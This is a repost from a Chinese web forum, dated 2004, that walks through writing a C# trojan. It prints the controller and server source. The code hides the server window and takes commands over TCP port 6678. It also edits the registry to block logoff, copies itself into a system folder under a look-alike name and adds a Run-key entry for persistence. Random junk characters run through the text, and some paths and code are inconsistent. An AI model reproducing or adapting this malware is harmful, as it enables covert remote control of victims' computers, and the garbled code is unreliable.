找回密码
 入住遨海湾
搜索
网站解决方案专享优惠-3折上云
查看: 972|回复: 0

[转]用C#实现木马程序(分析)

[复制链接]
发表于 2004-12-24 14:19:00 | 显示全部楼层 |阅读模式

登录后查才能浏览下载更多咨询,有问题联系QQ:3283999

您需要 登录 才可以下载或查看,没有账号?入住遨海湾

×
  前一段时间我写了一个关于用C#木马的程序(程序见前),抱歉没有写分析,让大家难过了,现在补上:)。 . Q% L& K/ e4 k1 p" G" n! X前言: ) ]8 q+ B! v/ g9 m- l+ a我的技术不是很好,如果你是为了学习木马技术也许没有什么启发,这篇文章为了给学习C#的朋友。 : x1 g& a$ |: ^& W' I; }4 w" P& | 木马的介绍:(参照黑客防线2000-2001精华本中的木马原理揭秘) # g4 \% U# |1 i: g3 U因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。 , u- M' ]5 b9 V9 Y 使用的技术: 6 [2 R* D. Y( {4 {! q 控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。 2 p, _$ z7 E5 L0 O 控制端开发: ! e( o* X; @; h2 P# M 控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。 3 @* A5 t1 c+ z5 p+ |! B8 ^6 Y7 ~- a控制端的开发: 1 `" Y1 y! y: k; a9 T+ K# H0 O控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。 : S1 u6 m0 Y0 |3 k1 连接请求 , `( W* ^6 l4 J t: r9 F 使用了.NET类中的 System.Net.Sockets.TcpClient类, * u& H' U# j/ c0 d8 l TcpClient(string hostname,int port) ! _9 s# d B5 ]& g; ?: m Hostname 是要控制的主机名称,当然你也可以用IP地址。 7 _% S ^* k8 [9 N) H. Y3 u8 Y, NPort是端口。 9 h7 ^" V5 F) N( z! @. ^ // System.EventArgs包含事件数据类的基类 : N( c% v$ D( E( T/ ~; z private void button7_Click(object sender, System.EventArgs e) 7 H1 M, [$ D5 w& o" G& l{ 3 U1 {* D& m! }/ Z1 S+ \/ l) [4 ` //记录操作,在richTextBox控件中增加操作信息 ' G1 `3 V# y" p% b( b richTextBox1.AppendText("请求连接" +textBox1.Text +"\r"); 8 u+ v, l; U, b9 M8 `int port =6678; & b1 v4 E, Y2 h; K! stry " b. ?8 Z, m1 |4 w, t5 C5 g- ]6 j. M { ; m) p( [# }- X. v, X* c3 K//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口 1 [( S2 O3 K4 }' w5 K2 w6 i client = new TcpClient(textBox1.Text,port); / t5 {/ G' Q/ C' A} ; f1 [6 q+ X* q5 O) G zcatch ! u' ]6 W$ r# c6 V2 z { % _6 b+ `1 _9 ~MessageBox.Show("服务器不在线!确定是否输入主机名称."); $ _# O- [% D* ~/ m | richTextBox1.AppendText("服务器不在线!确定是否输入主机名称."); : C: P8 Q4 o; N6 }7 n7 E; n( \} ( y( Z8 d U$ x% V# d}//private void buttion 0 b+ e& C7 s4 B- R! Z: c9 e; s2测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 8 |5 [5 ?/ t( e2 H3 t, y& q; k //提供网络访问的数据流 % d: \# \% D. i x4 c2 ~; [//private NetworkStream stream; ! J( d, b4 E& ~$ ]2 I 代码如下: 5 b( x% P" B9 k8 t* s" H private void button8_Click(object sender, System.EventArgs e) $ i* n" O9 E9 L' i( d { $ i! n9 O6 O2 a" m //纪录操作 / A! X3 Z+ ^/ B V! ?richTextBox1.AppendText("测试连接" +"\r"); , B! A3 e: x$ P5 i8 e try 4 R' U2 v! [, z. P, A { - ^4 @: Z" y! ^: R. T7 G: b % C5 Z" v# B7 ]% G& Z, {2 [stream = client.GetStream(); 7 V* ~( R% v, k! f if(stream.CanWrite) ( s9 r! ^$ o. Q/ l0 u( q6 ~1 N) r { 3 ?$ x1 M* s( I) J& o //发送控制码 & ~% z+ ?! h! G1 ] string control = "jiance"; ( V6 c+ H# ]& _1 q" K8 C byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray()); h- V% t1 _; F) K1 y( Y stream.Write(by,0,by.Length); ! [, u, O3 ^8 f% f! P5 r//下次使用 8 k- L) |; K1 U+ g3 y stream.Flush(); 9 q) [# [& `3 W+ Q; r //启动接收反回数据的线程 / W2 R6 e c* } //receive是线程执行的函数,见后面的分析 p4 D; `" f' c7 o- \3 f' }' t& Z threadReceive = new Thread(new ThreadStart(receive)); 6 \1 y1 a; _6 x# _ threadReceive.Start(); + P# @# o1 H r } 6 X. Z6 R7 J- D% Z1 I+ q& v } " f$ t: U7 v9 c. o/ d& Scatch(Exception ee) 5 o( J. d$ }- D9 r* h" S4 W{ 4 [/ B* A3 z, a0 l9 x( u& p richTextBox1.AppendText (ee.Message+"\r"); 8 U4 b% e$ o# F* qMessageBox.Show(ee.Message); * ?/ X5 @5 \8 R} ' A9 _- z. ~& |/ j' M' I* F( L } ) B$ k! W9 e5 l2 v3控制生效的代码 X+ m- y2 ~( _ private void button9_Click(object sender, System.EventArgs e) / U0 V$ t j8 [) I) F+ K { - ^" A% |0 ~) l) h i, L4 `//这里是确定要发送的控制码,RadioButton是窗体控件 6 f" |1 S. ? V* Hif(radioButton1.Checked){ control = form2.zhucex;} 0 j$ b6 s& N' |; helse if(radioButton2.Checked){ control =form3.zhuces;} 9 m: J. _3 p' e* O7 | else if(radioButton3.Checked){ control = warring;} 9 K) ]2 [5 M: K1 ?- d: ?9 ~9 |. Y- Telse if(radioButton4.Checked){ control =suggest;} ! Z' N: I- y% k5 \8 Welse if(radioButton5.Checked){ control =form4.mumawe;} ! A% N7 V3 @9 }; E+ c2 U' ]" w+ o8 V6 Ielse if(radioButton6.Checked){ control =drop;} " K/ X/ t0 `. o' J" Vif (control =="000000") & [+ s4 ^/ `2 j/ H7 H{ ) z; W/ b8 ?9 x9 G/ _ MessageBox.Show("你没有输入任何控制目标!不发控制信号"); 3 W+ Q! v5 b: p richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号"); 9 i* ~/ J! m# B" V0 K( N; g} . M0 E2 L. x# @6 Telse if(control != "000000") 0 s u0 s) |+ m{ 1 \% a/ v3 K! [0 Q* J3 N2 ?" c2 btry 0 O v* I$ e4 [3 X { . l% w) L& C8 L& P//记录操作 0 N; ^: p* X* \- C6 b- k richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r"); 9 j7 j- h( W" D0 Q/ @stream = client.GetStream(); ! Y- ?: X3 c- v( r% i$ Qif(stream.CanWrite ) 5 U; c" }+ ]0 p6 K+ r { & A' b! H- W. I0 c5 w" G% Pbyte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ()); 5 p' P. \6 P: d, _! istream.Write(by,0,by.Length); 9 z9 L1 I% _5 @3 D8 R6 h! t' u6 W stream.Flush(); . [1 \7 n' _* [5 ~8 \ threadReceive =new Thread(new ThreadStart(receive)); ! w( \. g0 r* ]/ V2 |0 _threadReceive.Start(); , ~( ~/ i" Z2 P* V( T }//endif 6 ~# w9 F0 {# q. Y. `- I3 B }//try . u6 p5 y! J0 f' E4 J0 kcatch ; N% ?3 y7 b0 O c1 F& |9 s{ ( ]. X) a4 {' C richTextBox1.AppendText("服务器未连接1控制无效!" +"\r"); - g9 l# h! u ?' f1 I9 E: s MessageBox.Show("服务器未连接1控制无效!" +"\r"); 3 D$ H, D& _$ T8 [, m8 S } 3 s' Y/ F0 g; ]0 v2 n+ X }//else if & B8 U3 D# o# E" i" g! U: x' y } 2 j; z0 M' f. }) m: f8 s+ A Z' ?$ G4 z- S. q1 B7 T: h# u 4线程执行的函数 - B2 o" c8 j4 q' S( ~ private void receive() 3 q; H7 @$ u' F; ?1 V l8 ` h; M/ \{ L% Z5 Z2 v/ }//设置读取数据的空间 : j+ B# n! i% d+ Y byte[] bb = new byte[3]; & W6 h% k' R( g; v/ ]3 k //读取3个字节,i为实际读取的字节数 $ S% c5 B. O" G- b int i = stream.Read(bb,0,3); . K: s Y9 D9 @ | //转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb); ( ]) x2 m+ ?& S. {5 } string ss = System.Text.Encoding.ASCII.GetString(bb); . t; }" |5 L4 R. X! ], i, s9 a //hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功 8 y$ g2 \% t* ~- r1 V3 V if(ss=="hjc") ?2 x- g- J/ m% z { 7 @& p- U) C& N! L+ [ dMessageBox.Show("连接成功"); 1 K) _- S& t0 [/ R6 G- c+ {/ p richTextBox1.AppendText("连接成功"); 4 [& A) ^0 {' [ } ) X, r2 D5 [2 R if(ss== "hkz") , v" y( A4 n/ \% j C+ X/ Q { , J s' \. l( X- z7 g. L richTextBox1.AppendText(control +"控制成功"+"\r"); 0 @# q d9 K. g! r2 {MessageBox.Show(control +"控制成功"+"\r"); 4 t# f4 t6 U! x. l( t} ; x3 m* m( `4 T! V, V2 `5 m} & S' `- d& W& m服务端的开发: 3 b" A% M2 \: F0 c! } 要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍: 3 E2 E+ O a) H A3 q. m 1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下: # h0 c, g% |$ ]! H! Cprivate void InitializeComponent() ! @; f _4 Z, Q K3 _1 n { / a3 I. ^4 t7 _$ v // p- g* Q2 s1 @, v5 W// Form1 9 S' d! w; k0 ?3 {" o; U# _8 i// . N8 N- b; T" `; @! i/ } //窗体显示的起点和大小 ' Z- a2 B& \7 t, e8 Gthis.AutoScaleBaseSize = new System.Drawing.Size(6, 14); $ y- _, \9 L) gthis.ClientSize = new System.Drawing.Size(368, 357); 1 }7 U5 U6 g2 x( b* n' I W- R# p, n4 ^//窗体名称 ; p( q0 }; R$ h. S6 p: } this.Name = "Form1"; # T8 g+ e* y4 W j//设置属性让它后台运行 y, b. o" u- l! `, y, ]; T9 f this.ShowInTaskbar = false; " J. ~1 z* C5 Z4 l5 Dthis.Text = "Form1"; : T/ s/ f4 w& w: othis.WindowState = System.Windows.Forms.FormWindowState.Minimized; / L2 @% `1 C' i5 h$ V } . Y. K- s$ A8 d- @0 E2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下: * P; ?- ~5 o7 ?) ]; f public Form1() //窗体的构造函数 3 Q) \" h3 R2 V$ b2 _$ C: R7 c" t+ Q l{ 5 P$ e1 f) B4 a# q0 u1 _" G // * X; h, m' a8 ~) F+ s, h // Windows 窗体设计器支持所必需的 . y% H2 `/ Z* |$ ^* u+ p2 [1 m// & s9 D! N, G8 c' }: N1 a InitializeComponent(); @+ H' A }* w/ \9 |2 s4 Y. g1 U, r ) |7 K S, |4 d s5 _. W& \7 ^// * f5 l9 G; A" ^0 q4 M+ K, Q// TOD 在 InitializeComponent 调用后添加任何构造函数代码 [. V' q: z: J+ D2 E( d //加入你的侦听代码 : A5 b, l5 A( K; O- K //端口你可以自已设定,我使用了固定的端口 - v2 c6 b! @1 P, b! T" u' U1 @ int port =6678; 3 ]7 p$ M- O9 H8 S, J3 W//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的 ( W1 _# c. b. z/ R: \listener = new TcpListener(port); & o" }3 S3 ^+ N# _3 ?7 K! s; |% }+ i' X //启动侦听 2 o$ K: ]. q. e) \ listener.Start(); 8 A3 }+ |2 y) n( L7 k+ P. s//增加接收控制码的线程,如果要停止线程可以用 Thread.abort() 3 z# K9 o, e8 X//reControlCode 是线程启动执行的函数,此函数根据接收的控制 $ q7 p9 L+ j. n g4 Q//控制码选取合适的注册表修改函数 # Q: V' `' \/ |! I6 qThread thread = new Thread(new ThreadStart(reControlCode)); 4 u- I# h! [; E( F7 M. Q thread.Start(); / M$ Q, r- H/ |} & d" \: ^ A1 s1 {7 t3 w. d7 U' SreControlCode函数如下,完整代码见程序 1 F p6 l7 D7 Tprivate void reControlCode() ) B( A5 p& D# x1 f5 R* | { , K; \0 U+ n+ T& x. \! \( J//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求 2 z R1 D% z( {: F$ e# r: w% T socket = listener.AcceptSocket(); 1 y7 ~ G; \5 R1 @. J- e' P//如果连接成功执行 $ n4 m Z1 m% Q( U- y while (socket.Connected) 2 L/ @0 K5 s! f3 @8 b' h { / j7 V6 |7 n! }6 w3 b //接收控制码 $ i* @0 z- i# C) gbyte [] by =new byte[6]; 1 c, C( n2 o+ \) S) q# ] int i = socket.Receive(by,by.Length ,0); % i) d, i- b4 A" K: C+ vstring ss = System.Text.Encoding.ASCII.GetString(by); 5 J$ f% |4 g. o5 ]1 S8 x& U //根据控制码执行不同的功能 & P9 \" A3 e& ^6 h/ {3 ~ 4 e, Z1 F+ D; ?3 t: E. |//修改注册表加入编码 1 L# m/ p" m, A' {2 X switch (ss) ) R n- }% K2 t7 h { ( c3 ? ^" q+ a7 M1 ucase "jiance"://测试连接,返回测试信息 6 A" \+ V* |% x/ a1 r3 \" j1 S string str ="hjc"; & A- Q+ I0 D* Z- [! _; W8 o( V. l byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str); 1 v- E* ^* V) q& `! U socket.Send(bytee,0,bytee.Length,0); 9 j+ p, O0 e$ l, I( g break; 1 R. i- E3 ^/ x. r: t$ j6 w `4 `- bcase "zx1000": / O9 [+ ^ O- g8 m7 u5 @ //修改注册表函数,自已定义,见下面分析 - ^/ A" g, V) [+ W2 QUnLogOff(); ! @. P7 G8 m) q# N- M+ u//返回控制消息 6 x' q3 F5 x( t2 D1 x, J4 K* @+ _ retMessage(); 7 }1 U9 p+ r9 _, ebreak; ) E( n% J# @" N/ D/ `) L5 B8 Q 5 H) z8 Z: L4 `# S case "zx0100": # p' R; S1 ?7 n5 r1 p/ d3 T //修改注册表函数 b6 W# m0 i3 k( o% m7 AUnClose(); $ r' b9 o1 ~8 b. B //返回控制消息 4 X0 y' T# R9 x! ]retMessage(); $ o% I) h" ]- k' Q2 z2 O1 J. x3 Lbreak; " s; o4 H8 ~1 B, x //重复的case功能与前面一样,略掉 ( G4 \7 f4 @+ f" ^ default: ! n4 @! U6 {4 U5 g/ ^) _ S break; 9 ]# U2 h* Y, U0 G5 v2 o6 c6 V: j}//case ' w4 b0 O' N6 H}//while ' ]. ?. f0 ^7 }* a& d9 |- o" g! x. k} //private void reControlCode 4 N% s) ~8 K, U8 N6 s( j* l 3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer 7 p0 n, K! D! S1 U, g) N/ i+ L- p F 下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改: . K4 e( Z: ], P+ j6 e4 O5 Bprivate void UnLogOff() . k7 \; U H2 v# x( N4 Y p" w( c { ) Z+ T& b: S5 X6 w8 g //得到主机的注册表的顶级节点 % i, V5 x4 N K- t0 uMicrosoft.Win32.RegistryKey rLocal = Registry.LocalMachine; $ f) b2 M8 k- O- e/ E2 R //设置一个注册表子键的变量 7 b1 Q+ ]& V* i" x RegistryKey key1; # D! C9 r5 ]. T6 n try 2 `2 R3 Q6 q$ ]& N$ j$ U+ m { 2 l9 ?9 y) y# B. l L0 Z/ z6 l7 G0 o //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键 7 e* c+ y1 R7 c& ~2 I //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改 . h: j! @2 [ ]' U6 k1 T" }3 q: N5 \ key1 = ; Q# `; _( t- W rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true); # ?2 ^+ @2 \- |: L5 K//设置子键的键名,和值 : b* ]! y# [! l: d' u; a& |; Kkey1.SetValue ("NoLogOff",1); & |- x, C; f5 Z0 n* j//关闭打开的子键 & Y$ P, m4 O% u9 g- w* ^key1.Close(); ( \4 S* N* n8 q. B, }7 s //警告字符串设定 + q" L) l P2 k mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; ' |; } |- J! i% w: Y$ B" e} 7 z# F4 I& f. F# v; _catch{} 3 D: T8 x* @, ?% O//如果不存在自已建立 , H( Z% c) G& n% T5 j: m if(key1 ==null) ; @* ?) D' X+ V* k: X { ' z5 L) D( \, u6 [, K2 Qtry 2 Z* _8 D' g7 k% T3 z% ~ { ( g, S* z4 X B' @ w. |, i1 X//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键 U9 O% e% O4 g# l& ~ RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"); . E5 C0 @( R& a" E8 D key2.SetValue("NoLogOff",1); % O2 u; D+ H! \, rkey2.Close(); 5 ]7 O5 p/ L7 f, q9 }7 o( Fmystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; # M0 H: v3 N; F" J } 2 g9 {) f6 s7 ~8 \" |! fcatch{} ' V* L5 c0 n5 x2 `; T f1 K+ i } 3 z# G# |4 \2 ?1 M; x } / ?9 m1 x( h1 Z+ ?3 E' n 4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。 . X+ H v2 i; A# k: ?private void moveCC1() / O) j- R% L( P% D) ~6 ` b { 0 k, {6 E" J1 X; I1 c3 Ctry 7 i9 g* y" G0 z% a" ?, R5 C { % |$ F% C2 i7 X* k6 d6 {; b& a //函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 9 U) G8 `# ]1 F0 p //sourceFileName为要移动的文件名,destFileName为文件的新路径 0 Y( N4 c" h: Z' v# F File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe"); 5 B+ H1 b* X9 }0 y6 e5 C } % t8 C7 q3 j4 G5 dcatch {} 6 n3 _' C( a/ a- u" g+ e //将新移的木马程序设为自启动.分析和前面一样 " r+ @. i# k/ z& Q& Dtry - z9 F( V; y( k r# R { 4 g1 q' I) m" ?. l' r, W8 C key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true); 3 J5 C: ]+ ?) x8 Z5 u q8 v/ nkey1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); * M2 n! h9 _2 |, Skey1.Close(); 4 E9 J3 V4 ^! Z" H } . Y9 J7 o8 M( I' l" ]; hcatch{} ; k5 I/ D: F4 e$ p- V$ Z" A) ` if(key1 ==null) 2 `) E! V0 a( Q( u2 z { / z" O1 J/ L1 O- @6 Stry , `$ k0 @. C/ y3 o5 W" h{ 9 I l3 D: s2 o2 B$ t RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); & }7 j5 h7 x% i8 b key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); 1 M- e# x) \. g! Q8 I key1.Close(); 1 f* f7 ?+ P9 d6 w O/ g6 p& x } ) @9 B' ~' c% Q* {3 V7 V9 P/ G! q catch{} D$ W! e* {: p2 A1 M- O( { } 0 C' {% c& [5 ?5 _- Z" a) V2 a o! q8 J } //moveCC1()
遨海湾-心灵的港湾 www.aosea.com
您需要登录后才可以回帖 登录 | 入住遨海湾

本版积分规则

网站解决方案专享优惠-3折上云

QQ|手机版|小黑屋|遨海湾超级社区

GMT+8, 2025-2-22 16:40

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表